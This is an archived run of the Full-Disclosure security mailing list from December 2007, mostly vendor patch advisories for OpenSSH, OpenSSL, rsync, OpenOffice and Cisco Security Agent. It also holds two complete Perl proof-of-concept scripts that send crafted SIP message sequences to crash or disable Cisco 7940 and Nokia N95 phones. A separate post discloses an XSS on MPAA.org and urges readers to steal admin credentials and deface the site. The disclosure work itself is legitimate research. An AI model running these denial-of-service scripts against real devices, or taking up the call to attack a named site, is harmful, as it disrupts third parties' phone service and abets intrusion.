MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDKSA-2007:236 http://www.mandriva.com/security/ _______________________________________________________________________ Package : openssh Date : December 4, 2007 Affected: 2007.0, 2007.1, Corporate 3.0, Corporate 4.0, Multi Network Firewall 2.0 _______________________________________________________________________ Problem Description: A flaw in OpenSSH prior to 4.7 prevented ssh from properly handling when an untrusted cookie could not be created and used a trusted X11 cookie instead, which could allow attackers to violate intended policy and gain privileges by causing an X client to be treated as trusted. The updated packages have been patched to correct these issue. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4752 _______________________________________________________________________ Updated Packages: Mandriva Linux 2007.0: e04c3ab6175b622a65fe1a40fe52693f 2007.0/i586/openssh-4.5p1-0.2mdv2007.0.i586.rpm 79ad72cdd5d02d29e1bc92a84853aa99 2007.0/i586/openssh-askpass-4.5p1-0.2mdv2007.0.i586.rpm d13252d924785d23495ceaa98c9dcc16 2007.0/i586/openssh-askpass-common-4.5p1-0.2mdv2007.0.i586.rpm 2b21106f61185b6943425afa2d4a6098 2007.0/i586/openssh-askpass-gnome-4.5p1-0.2mdv2007.0.i586.rpm f36ce6d19951967248807d4acc259350 2007.0/i586/openssh-clients-4.5p1-0.2mdv2007.0.i586.rpm 1a313da3c8131c0510ac7fc175b4ef9f 2007.0/i586/openssh-server-4.5p1-0.2mdv2007.0.i586.rpm 0e57aefb82391e7b1fbe92fb7e8d24d3 2007.0/SRPMS/openssh-4.5p1-0.2mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: 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The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) iD8DBQFHVe7/mqjQ0CJFipgRAkuEAJ9py2q4Zyl6ibUECYFtAwyD1SdEQgCeNWQw kl/z1GUtJ30yBEVaxF9Dp2k= =mAsp -----END PGP SIGNATURE----- From security at mandriva.com Wed Dec 5 03:24:36 2007 From: security at mandriva.com (security at mandriva.com) Date: Tue, 04 Dec 2007 20:24:36 -0700 Subject: [Full-disclosure] [ MDKSA-2007:237 ] - Updated openssl packages fix DTLS vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDKSA-2007:237 http://www.mandriva.com/security/ _______________________________________________________________________ Package : openssl Date : December 4, 2007 Affected: 2007.0, 2007.1, 2008.0 _______________________________________________________________________ Problem Description: A buffer overflow in the DTLS implementation of OpenSSL 0.9.8 could be exploited by attackers to potentially execute arbitrary code. It is questionable as to whether the DTLS support even worked or is used in any applications; as a result this flaw most likely does not affect most Mandriva users. The updated packages have been patched to correct these issue. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4995 _______________________________________________________________________ Updated Packages: Mandriva Linux 2007.0: 29b8ee6237c242e753d086635b7e5cbe 2007.0/i586/libopenssl0.9.8-0.9.8b-2.4mdv2007.0.i586.rpm e0c95ca66571cd7143bff6e4c25b027a 2007.0/i586/libopenssl0.9.8-devel-0.9.8b-2.4mdv2007.0.i586.rpm cdfeee7908dd612a55be9dfe76463f26 2007.0/i586/libopenssl0.9.8-static-devel-0.9.8b-2.4mdv2007.0.i586.rpm 0372a27cd2fbd7f742d2e516bed7e1e2 2007.0/i586/openssl-0.9.8b-2.4mdv2007.0.i586.rpm e9afd585fa9767297b830b5a39b1c755 2007.0/SRPMS/openssl-0.9.8b-2.4mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: a4e123f19b83f50a9d6d07b5f8de1770 2007.0/x86_64/lib64openssl0.9.8-0.9.8b-2.4mdv2007.0.x86_64.rpm 3249d71ae70e88dd56a32779992305e6 2007.0/x86_64/lib64openssl0.9.8-devel-0.9.8b-2.4mdv2007.0.x86_64.rpm 3de284ee38d421db9e0e17fc2f21590e 2007.0/x86_64/lib64openssl0.9.8-static-devel-0.9.8b-2.4mdv2007.0.x86_64.rpm 513aeae7d510454807d195b1c4d5dd37 2007.0/x86_64/openssl-0.9.8b-2.4mdv2007.0.x86_64.rpm e9afd585fa9767297b830b5a39b1c755 2007.0/SRPMS/openssl-0.9.8b-2.4mdv2007.0.src.rpm Mandriva Linux 2007.1: 86e63fec6b9657748cc42e8362e97744 2007.1/i586/libopenssl0.9.8-0.9.8e-2.3mdv2007.1.i586.rpm 2c9543f02f824e684dcb0aa0fad5d84e 2007.1/i586/libopenssl0.9.8-devel-0.9.8e-2.3mdv2007.1.i586.rpm b697526216ebaf30d80e2f7f3cf7aa61 2007.1/i586/libopenssl0.9.8-static-devel-0.9.8e-2.3mdv2007.1.i586.rpm 592011ab8eb3dd7e4aa840688c3b4ca5 2007.1/i586/openssl-0.9.8e-2.3mdv2007.1.i586.rpm 8104a922d5698d8289d000a39b2c4230 2007.1/SRPMS/openssl-0.9.8e-2.3mdv2007.1.src.rpm Mandriva Linux 2007.1/X86_64: 5c5d79ec812456e36b1cf6dee6bf4f37 2007.1/x86_64/lib64openssl0.9.8-0.9.8e-2.3mdv2007.1.x86_64.rpm 0f05616372680ef165b32c6c4b58e63f 2007.1/x86_64/lib64openssl0.9.8-devel-0.9.8e-2.3mdv2007.1.x86_64.rpm f62edfc3bee2982f51895c953bc7928d 2007.1/x86_64/lib64openssl0.9.8-static-devel-0.9.8e-2.3mdv2007.1.x86_64.rpm 67b3f1e4a2d6f170c28a675cf2b75db5 2007.1/x86_64/openssl-0.9.8e-2.3mdv2007.1.x86_64.rpm 8104a922d5698d8289d000a39b2c4230 2007.1/SRPMS/openssl-0.9.8e-2.3mdv2007.1.src.rpm Mandriva Linux 2008.0: 20491db3430fabf6e27844e96bd4284a 2008.0/i586/libopenssl0.9.8-0.9.8e-8.1mdv2008.0.i586.rpm bb3685c8ff31f5d1ff2b05f07aabf4f8 2008.0/i586/libopenssl0.9.8-devel-0.9.8e-8.1mdv2008.0.i586.rpm 9a3d5debe8da358efe0e46b13ed0d8e6 2008.0/i586/libopenssl0.9.8-static-devel-0.9.8e-8.1mdv2008.0.i586.rpm 272dcfdd768169e374fe195be5c75f1a 2008.0/i586/openssl-0.9.8e-8.1mdv2008.0.i586.rpm ac6a1a0ee09b5ee6e9f496d758e7f4c7 2008.0/SRPMS/openssl-0.9.8e-8.1mdv2008.0.src.rpm Mandriva Linux 2008.0/X86_64: 21185b1271dbf340b8a554ce233228b5 2008.0/x86_64/lib64openssl0.9.8-0.9.8e-8.1mdv2008.0.x86_64.rpm d517a6325f26d0f8d0abe29bf6098b0f 2008.0/x86_64/lib64openssl0.9.8-devel-0.9.8e-8.1mdv2008.0.x86_64.rpm 421e8bd33abf4be23587d38e0d6abac4 2008.0/x86_64/lib64openssl0.9.8-static-devel-0.9.8e-8.1mdv2008.0.x86_64.rpm fc6dff2056b1be3554024c9cfe10a2dd 2008.0/x86_64/openssl-0.9.8e-8.1mdv2008.0.x86_64.rpm ac6a1a0ee09b5ee6e9f496d758e7f4c7 2008.0/SRPMS/openssl-0.9.8e-8.1mdv2008.0.src.rpm _______________________________________________________________________ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) iD8DBQFHVe8nmqjQ0CJFipgRAs1MAJ9LYX27llzE2HQrBlq/DZWYA3kH3ACfZiRe XoXb4wUDKbH8xKzaso8r+ao= =20Gi -----END PGP SIGNATURE----- From kristian.hermansen at gmail.com Wed Dec 5 04:26:02 2007 From: kristian.hermansen at gmail.com (Kristian Erik Hermansen) Date: Tue, 4 Dec 2007 20:26:02 -0800 Subject: [Full-disclosure] 0day XSS for MPAA.org Message-ID: As many of you have heard, the MPAA themselves are violating the GNU GPL. Such hypocrisy from a company which claims they adhere to copyrights :-) In protest, I took exactly 7 seconds to locate an XSS in their website and am posting it for your perusal. Maybe someone can use it in an email to an MPAA staff member, and perhaps can modify the payload to steal credentials for some MPAA admin interface. And perhaps then, after gaining MPAA credentials, this person can modify the MPAA website. And perhaps after that, we can all laugh at the MPAA yet again in their quest to sue 12 year old kids for downloading MP3 files... There are many more XSS on their site. Everyone knows that if you find one bug on top (without much effort), there are many more security issues hiding beneath the surface. I leave it up to the MPPA-haters out there to dig deeper and use it to "influence" the MPAA website... Here's one for the 'txtsearch' search field on the main page at MPAA.org in the top right-hand corner where it says 'Find the rating of a film'... ERR"> -- Kristian Erik Hermansen "I have no special talent. I am only passionately curious." From announce-noreply at rpath.com Tue Dec 4 23:30:21 2007 From: announce-noreply at rpath.com (rPath Update Announcements) Date: Tue, 04 Dec 2007 18:30:21 -0500 Subject: [Full-disclosure] rPSA-2007-0257-1 rsync Message-ID: <4755e30d.n5hyFZbLmggamMzb%announce-noreply@rpath.com> rPath Security Advisory: 2007-0257-1 Published: 2007-12-04 Products: rPath Linux 1 Rating: Minor Exposure Level Classification: Remote Deterministic Unauthorized Access Updated Versions: rsync=conary.rpath.com at rpl:1/2.6.8-1.2-1 rPath Issue Tracking System: https://issues.rpath.com/browse/RPL-1989 References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6199 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6200 Description: Previous versions of the rsync package contain two vulnerabilities in the rsync server which can allow users to bypass security restrictions under certain specific configurations. As these vulnerabilities are only exposed when running the rsync server, default configurations are not vulnerable. http://wiki.rpath.com/Advisories:rPSA-2007-0257 Copyright 2007 rPath, Inc. This file is distributed under the terms of the MIT License. A copy is available at http://www.rpath.com/permanent/mit-license.html From security at xssed.com Wed Dec 5 06:40:59 2007 From: security at xssed.com (security at xssed.com) Date: Wed, 5 Dec 2007 07:40:59 +0100 (CET) Subject: [Full-disclosure] XSS Early Warning Mailing List Now Open Message-ID: <2301.79.166.27.150.1196836859.squirrel@www.ddosed.com> Hello there! The long awaited XSS early warning mailing list is now open for subscriptions. :) http://www.xssed.com/earlywarning Whether you are a government CERT or the individual webmaster, we invite you to subscribe for FREE to this new cool feature. The mailing list is moderated by the administrators of XSSed.com. The ML feature has already proven successful for several high-profiled web sites and CERTs. They receive instant alerts on newly indexed cross-site scripting (XSS) vulns affecting their online properties. For any query regarding the fixation of cross-site scripting vulnerabilities, do not hesitate to contact us! We will help and advise you for FREE! :) Dimitris, XSSed staff From a.klink at cynops.de Wed Dec 5 08:26:18 2007 From: a.klink at cynops.de (Alexander Klink) Date: Wed, 5 Dec 2007 09:26:18 +0100 Subject: [Full-disclosure] Certificate spoofing issue with Mozilla, Konqueror, Safari 2 In-Reply-To: <1195420878.5999.58.camel@tpol.lan> References: <1195420878.5999.58.camel@tpol.lan> Message-ID: <20071205.2ea0df8bb8444c6ccf5e2f1d55851708@cynops.de> Hi, On Sun, Nov 18, 2007 at 10:21:18PM +0100, Nils Toedtmann wrote: > DN="CN=www.example.com" > subjectAltName:dNSName=www.example.com > subjectAltName:dNSName=www.paypal.com > > and lures the user to https://www.example.com/. The user gets an > "unknown CA" warning, but the "subjectAltName:dNSName" extensions > are not shown to him, so the cert looks ok. As he does not plan to This is particularly annoying as there is no way to actually view the subjectAltNames in Mozilla (except for being able to translate the hexdump in your head). At least they're planning to change the handling of wildcards[0], so it is no longer enough to get that one certificate with a subjectAltName of '*' installed. Best regards, Alex [0]: http://permalink.gmane.org/gmane.comp.mozilla.crypto/8429 -- Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at cynops.de mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de ----------------------------+----------------------+--------------------- HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Gesch?ftsf?hrer: Bad Homburg v. d. H?he | | Martin Bartosch From nadtec at hotmail.com Wed Dec 5 09:21:24 2007 From: nadtec at hotmail.com (happy nino) Date: Wed, 5 Dec 2007 09:21:24 +0000 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <016701c8355b$46222cc0$d2668640$@com> References: <4751369B.9060307@pirate-radio.org> <016701c8355b$46222cc0$d2668640$@com> Message-ID: to all who replied to my request, i thank you a lot , you advises where really helpful, i thank you very much From: joel at helgeson.comTo: nadtec at hotmail.com; bugtraq at securityfocus.com; full-disclosure at lists.grok.org.ukSubject: RE: [Full-disclosure] need help in managing administratorsDate: Sun, 2 Dec 2007 21:19:10 -0600 Launch ?Active Directory Users & Computers? Listed you have the AD containers used to hold all your objects, select a tree, right-click the container, click properties. There is a tab called ?Delegate Control? where you can delegate management of the objects located in that container to whatever groups or individuals you want. It is best to create a user group, then delegate the control to the group rather than the user. This is where it is important that you have your AD containers set up properly? Hope that helps provide some direction? Joel Helgeson From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of happy ninoSent: Sunday, December 02, 2007 3:42 AMTo: bugtraq at securityfocus.com; full-disclosure at lists.grok.org.ukSubject: [Full-disclosure] need help in managing administrators Hi All,i've a problem in my organization that we have several domain admins, we are in the process of removing most of them but i need to have a person only authorized to installnew software to users' computers but without having access to other parts of the users machines, is this possible ?..can i delegate a function like this only to certain users with outbeing domain admins?Appreciate your great helpthanks alot regards,Nad Get closer to the jungle. I'm a Celebrity Get Me Out Of Here! _________________________________________________________________ Telly addicts unite! http://www.searchgamesbox.com/tvtown.shtml -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/f51b545d/attachment.html From State at loria.fr Wed Dec 5 14:16:01 2007 From: State at loria.fr (Radu State) Date: Wed, 5 Dec 2007 15:16:01 +0100 Subject: [Full-disclosure] Cisco Phone 7940 remote DOS Message-ID: <000c01c83749$5d0c3300$5e0c5198@Crocodile> Cisco 7940 Denial of Service Vulnerability Hardware: Cisco 7940 SIP Phone Severity: High ? Denial of Service Software: Affected version: P0S3-08-7-00 Other Versions: May be Notification: Vulnerability found: 30 August 2007 Contact Cisco: 31 August 2007 Tracked issue: 11 September 2007 Vulnerability Synopsis: Initiating a sequence of SIP INVITE transactions leads the device to a state where it looks functional but it is not able to receive nor to start calls. If the sequence of INVITE continues, the device will reboot. In the first case, the period of time where the device is exposed to a DoS is about 3 minutes, but sending new INVITE transactions, at certain intervals, will keep the target under DoS. In order to generate the SIP INVITE transactions that lead the device to such state, the Request-URI of the message should not have a user name (i.e. "INVITE sip:XXX.XXX.XXX.XXX SIP/2.0"). In order to drive the device to a DoS state only 6 transactions are required as the traffic displayed below. X ----------------------- INVITE (Call-ID #1) -----------------------> Cisco 7940 X <------------------ 100 Trying (Call-ID #1) --------------------- Cisco 7940 .... --------5 New Dialogs like the previous-------- .... X ----------------------- INVITE (Call-ID #7) -----------------------> Cisco 7940 X <------------------ 486 Busy (Call-ID #7) --------------------- Cisco 7940 -------- DoS for aproximatly 3 minutes ------ X <------------------ 486 Busy (Call-ID #1) --------------------- Cisco 7940 X <------------------ 486 Busy (Call-ID #2) --------------------- Cisco 7940 X <------------------ 486 Busy (Call-ID #3) --------------------- Cisco 7940 X <------------------ 486 Busy (Call-ID #4) --------------------- Cisco 7940 X <------------------ 486 Busy (Call-ID #5) --------------------- Cisco 7940 X <------------------ 486 Busy (Call-ID #6) --------------------- Cisco 7940 Effect: If the sequence of INVITE transactions continues, the device reboots. Otherwise, the device can be permanently put under DoS by sending INVITE transactions at certain intervals. In such case the device replies busy to any incoming call and return busy to any call made by the user. However, the device maintains its connectivity with its registrar by sending the REGISTER transaction. Impact: Knowing the userid and IP address of the target: A remote user can crash the phone DoS can performed by sending the packets at regular intervals Proof of Concept: A perl script stateful-cisco-8.7.pl) is attached to this mail. Command: perl stateful-cisco-8.7.pl Eg. perl stateful-cisco-8.7.pl 192.168.1.7 7940-1 192.168.1.2 tucu Credits: Humberto J. Abdelnur (Ph.D Student) Radu State (Ph.D) Olivier Festor (Ph.D) This vulnerability was identified by the Madynes research team at INRIA Lorraine, using KiF the Madynes VoIP fuzzer. HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr/ #!/usr/bin/perl ############################### # Vulnerabily discovered using KiF ~ Kiph # # Authors: # Humberto J. Abdelnur (Ph.D Student) # Radu State (Ph.D) # Olivier Festor (Ph.D) # # Madynes Team, LORIA - INRIA Lorraine # HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr ############################### use IO::Socket::INET; use String::Random; die "Usage $0 " unless ($ARGV[3]); $targetUser = $ARGV[1]; $targetIP = $ARGV[0]; $attackerUser = $ARGV[3]; $attackerIP= $ARGV[2]; $socket=new IO::Socket::INET->new( Proto=>'udp', PeerPort=>5060, PeerAddr=>$targetIP, LocalPort=>5060); $foo = new String::Random; $flag = 0; @calls; $threads = 0; while ($flag == 0){ $callid= " " . $foo->randpattern("CCCnccnC") ."\@$attackerIP"; $cseq = $foo->randregex('\d\d\d\d'); $msg = "INVITE sip:$targetIP SIP/2.0\r Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r From: ;tag=1\r To: \r Call-ID:$callid\r CSeq: $cseq INVITE\r Max-Forwards: 70\r Contact: \r Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, MESSAGE\r Content-Length: 0\r \r "; $socket->send($msg); $socket->recv($text,1024,0); if ($text =~ /^SIP\/2.0 100(.\r\n)*/ ){ push(@calls, $callid); sleep(1); }elsif ($text =~ /^SIP\/2.0 486(.\r\n)*/ ){ if ($thread == 0){ $thread = scalar(@calls); } while (scalar(@calls) ge $thread){ $toTag = $cseq= $callid= $text; $toTag =~ s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/; $callid =~ s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/; $cseq =~ s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/; $msg = "ACK sip:$targetIP SIP/2.0\r Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r From: ;tag=1\r To: $toTag\r Call-ID:$callid\r CSeq: $cseq ACK\r Contact: \r Content-Length: 0\r \r "; $socket->send($msg); $i= 0; while ($i < scalar(@calls)){ if (@calls[$i] eq $callid){ delete @calls[$i]; }else{ $i += 1; } } if (scalar(@calls) ge $thread){ $socket->recv($text,1024,0); } } } } No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: 04/12/2007 19:31 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/46d6806c/attachment.html From joey at infodrom.org Wed Dec 5 15:19:43 2007 From: joey at infodrom.org (Martin Schulze) Date: Wed, 5 Dec 2007 16:19:43 +0100 (CET) Subject: [Full-disclosure] [SECURITY] [DSA 1419-1] New OpenOffice.org packages fix arbitrary Java code execution Message-ID: <20071205151943.635201031A@finlandia.home.infodrom.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1419-1 security at debian.org http://www.debian.org/security/ Martin Schulze December 5th, 2007 http://www.debian.org/security/faq - -------------------------------------------------------------------------- Package : openoffice.org, hsqldb Vulnerability : programming error Problem type : local (remote) Debian-specific: no CVE ID : CVE-2007-4575 A vulnerability has been discovered in HSQLDB, the default database engine shipped with OpenOffice.org. This could result in the execution of arbitrary Java code embedded in a OpenOffice.org database document with the user's privilege. This update requires an update of both openoffice.org and hsqldb. The old stable distribution (sarge) is not affected by this problem. For the stable distribution (etch) this problem has been fixed in version 2.0.4.dfsg.2-7etch4 of OpenOffice.org and in version 1.8.0.7-1etch1 of hsqldb. For the unstable distribution (sid) this problem has been fixed in version 2.3.1-1 of OpenOffice.org and in version 1.8.0.9-2 of hsqldb. For the experimental distribution this problem has been fixed in version 2.3.1~rc1-1 of OpenOffice.org and in version 1.8.0.9-1 of hsqldb. We recommend that you upgrade your OpenOffice.org and hsqldb packages. Upgrade Instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given at the end of this advisory: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. 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PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHVsGOW5ql+IAeqTIRAgf6AJ0WAp7SVwEvDZgl99qAnfGIyfIrqACgkAB1 Iwqa2RDw2C/35Hio77fsV6U= =q9Jv -----END PGP SIGNATURE----- From State at loria.fr Wed Dec 5 17:05:04 2007 From: State at loria.fr (Radu State) Date: Wed, 5 Dec 2007 18:05:04 +0100 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack Message-ID: <003c01c83760$faac19b0$5e0c5198@Crocodile> Nokia N95 cellphone remote DoS using the SIP Stack Severity: High ? Denial of Service Hardware: Nokia N95 Firmware: Tested version: Nokia RM-159 V 12.0.013 Notification: Vulnerability found: 11 September 2007 Contact Nokia Support: 12 September 2007 / None reply Contact Nokia Security Support: 19 September 2007 / None reply Vulnerability Synopsis: If the device has the SIP Phone client activated, a sequence of SIP messages turn the device in an inconsistent state where the user is not able to operate it anymore until it reboots. The sequence of messages consists in 2 different SIP Dialogs where the first initiates an INVITE transaction but immediately closes it (in an anticipated manner). While, the second transaction initiates a normal INVITE transaction that trigger the vulnerability of the target. The sequence of messages is illustrated below. X ------------------------- INVITE -----------------------> Nokiav12 X <---------------------- 100 Trying ---------------------- Nokiav12 X ------------------------- CANCEL -----------------------> Nokiav12 X <----------------- OK (to the Cancel) ------------------- Nokiav12 X <---------------- 487 Request Terminated ---------------- Nokiav12 --------New Dialog-------- X ------------------------- INVITE -----------------------> Nokiav12 X <---------------------- 100 Trying ---------------------- Nokiav12 X <---------------------- 180 Trying ---------------------- Nokiav12 ---- The device does not work properly anymore ---- Impact: A remote entity can take down all the services of the cell phone Resolution: As we did not get any proper reply from Nokia about the subject, the best way will be to disable the SIP Client Credits: Humberto J. Abdelnur (Ph.D Student) Radu State (Ph.D) Olivier Festor (Ph.D) This vulnerability was identified by the Madynes research team at INRIA Lorraine, using KiF the Madynes VoIP fuzzer. HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr/ Proof of Concept: A perl script (nokiav12.pl) is attached to this mail. Before launching it, the SIP phone has to be initialed in the target device Command: perl nokiav12.pl Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu #!/usr/bin/perl ################################################## # Vulnerabily discovered using KiF ~ Kiph # # # # Authors: # # Humberto J. Abdelnur (Ph.D Student) # # Radu State (Ph.D) # # Olivier Festor (Ph.D) # # # # Madynes Team, LORIA - INRIA Lorraine # # HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr # ################################################## use IO::Socket::INET; use String::Random; die "Usage $0 " unless ($ARGV[3]); $targetUser = $ARGV[1]; $targetIP = $ARGV[0]; $attackerUser = $ARGV[3]; $attackerIP= $ARGV[2]; $socket=new IO::Socket::INET->new( Proto=>'udp', PeerPort=>5060, PeerAddr=>$targetIP, LocalPort=>5060); $foo = new String::Random; $callid= $foo->randpattern("CCccnCn"); $cseq = $foo->randregex('\d\d\d\d'); $sdp = "v=0\r o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r s=-\r c=IN IP4 $attackerIP\r t=0 0\r m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r a=sendrecv\r a=ptime:20\r a=maxptime:200\r a=fmtp:96 mode-change-neighbor=1\r a=fmtp:18 annexb=no\r a=fmtp:98 0-15\r a=rtpmap:96 AMR/8000/1\r a=rtpmap:0 PCMU/8000/1\r a=rtpmap:8 PCMA/8000/1\r a=rtpmap:97 iLBC/8000/1\r a=rtpmap:18 G729/8000/1\r a=rtpmap:98 telephone-event/8000/1\r a=rtpmap:13 CN/8000/1\r "; $sdplen= length $sdp; $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r From: ;tag=1\r To: \r Call-ID: $callid\@$attackerIP\r CSeq: $cseq INVITE\r Max-Forwards: 70\r Contact: \r Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, MESSAGE\r Content-Type: application/sdp\r Content-Length: $sdplen\r \r $sdp"; $socket->send($msg); $text = ''; while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ $socket->recv($text,1024,0); } $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r From: ;tag=1\r To: ;tag=1\r Call-ID: $callid\@$attackerIP\r CSeq: $cseq CANCEL\r Max-Forwards: 70\r Content-Length: 0\r \r "; $socket->send($msg); time.sleep(1); $callid= $foo->randpattern("CCccnCn"); $cseq = $foo->randregex('\d\d\d\d'); $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r From: ;tag=2\r To: \r Call-ID: $callid\@$attackerIP\r CSeq: $cseq INVITE\r Contact: \r Max-Forwards: 70\r Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, MESSAGE\r Content-Type: application/sdp\r Content-Length: $sdplen\r \r $sdp"; $socket->send($msg); No virus found in this outgoing message. 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/0bb5c1a6/attachment.html From psirt at cisco.com Wed Dec 5 18:06:57 2007 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Wed, 5 Dec 2007 13:06:57 -0500 Subject: [Full-disclosure] Cisco Security Advisory: Cisco Security Agent for Windows System Driver Remote Buffer Overflow Vulnerability Message-ID: <200712051307.csa@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco Security Agent for Windows System Driver Remote Buffer Overflow Vulnerability Advisory ID: cisco-sa-20071205-csa http://www.cisco.com/warp/public/707/cisco-sa-20071205-csa.shtml Revision 1.0 For Public Release 2007 December 05 1600 UTC (GMT) +--------------------------------------------------------------------- Summary ======= A buffer overflow vulnerability exists in a system driver used by the Cisco Security Agent for Microsoft Windows. This buffer overflow can be exploited remotely and causes corruption of kernel memory, which leads to a Windows stop error (blue screen) or to arbitrary code execution. The vulnerability is triggered during processing of a crafted TCP segment destined to TCP port 139 or 445. These ports are used by the Microsoft Server Message Block (SMB) protocol. Cisco has released free software updates that address this vulnerability. Common Vulnerabilities and Exposures (CVE) identifier CVE-2007-5580 has been assigned to this vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20071205-csa.shtml. Affected Products ================= Vulnerable Products +------------------ All versions of Cisco Security Agent for Windows, either managed or standalone, are affected. Agents that are running on Cisco IP Communications application servers or agents on systems that are running the Cisco Security Manager are examples of a standalone implementation. Standalone agents are installed in the following Cisco IP Communications products: * Cisco Unified Communications Manager (CallManager) * Cisco Conference Connection (CCC) * Emergency Responder * IPCC Express * IPCC Enterprise * IPCC Hosted * IP Interactive Voice Response (IP IVR) * IP Queue Manager * Intelligent Contact Management (ICM) * Cisco Voice Portal (CVP) * Cisco Unified Meeting Place * Cisco Personal Assistant (PA) * Cisco Unity * Cisco Unity Connection * Cisco Unity Bridge * Cisco Internet Service Node (ISN) Cisco Security Manager installs a standalone version of Cisco Security Agent if an agent is not found when Cisco Security Manager is installed, so systems that are running Cisco Security Manager are also affected by this vulnerability. Products Confirmed Not Vulnerable +-------------------------------- The Cisco Secure Access Control Server (ACS) Solution Engine, also known as the ACS appliance, integrates a standalone version of Cisco Security Agent. However, the ACS Solution Engine is not affected by this vulnerability because by default it blocks incoming traffic to the affected TCP ports (139 and 445). Additional information is in the Details section. Cisco Security Agents that are running on the Solaris and Linux operating systems are not affected by the vulnerability described in this advisory. No other Cisco products are currently known to be affected by this vulnerability. Details ======= Cisco Security Agent is a security software agent that provides threat protection for server and desktop computing systems. Cisco Security Agents can be managed by a Management Center for Cisco Security Agents or can be standalone agents that are not managed by a Cisco Security Agent Management Center. Some Cisco products integrate standalone Cisco Security Agents to protect the products against viruses, worms, and attacks. Examples of products that integrate standalone Cisco Security Agents include Cisco IP Communications application servers, the Cisco Secure Access Control Server (ACS) Solution Engine, and the Cisco Security Manager. A buffer overflow vulnerability exists in a system driver used by Cisco Security Agents, whether they are managed or unmanaged. Cisco Security Agents use this driver by default. Windows kernel memory becomes corrupted when this buffer is overflowed. Therefore, exploitation of this vulnerability will lead to a Windows stop error (kernel panic, or blue screen error), or to arbitrary code execution. The vulnerability can be exploited remotely via the network. The vulnerability is triggered when Cisco Security Agent is processing a crafted TCP segment destined to TCP port 139 or 445. These ports are used by the Microsoft Server Message Block (SMB) protocol. A TCP session needs to be established (that is, the TCP three-way handshake needs to be completed) for the vulnerability to be triggered. All systems that are running a vulnerable version of Cisco Security Agent for Windows are affected. This includes Cisco products that integrate standalone Cisco Security Agents, such as Cisco IP Communications applications servers and the Cisco Security Manager. Although the ACS Solution Engine integrates a standalone 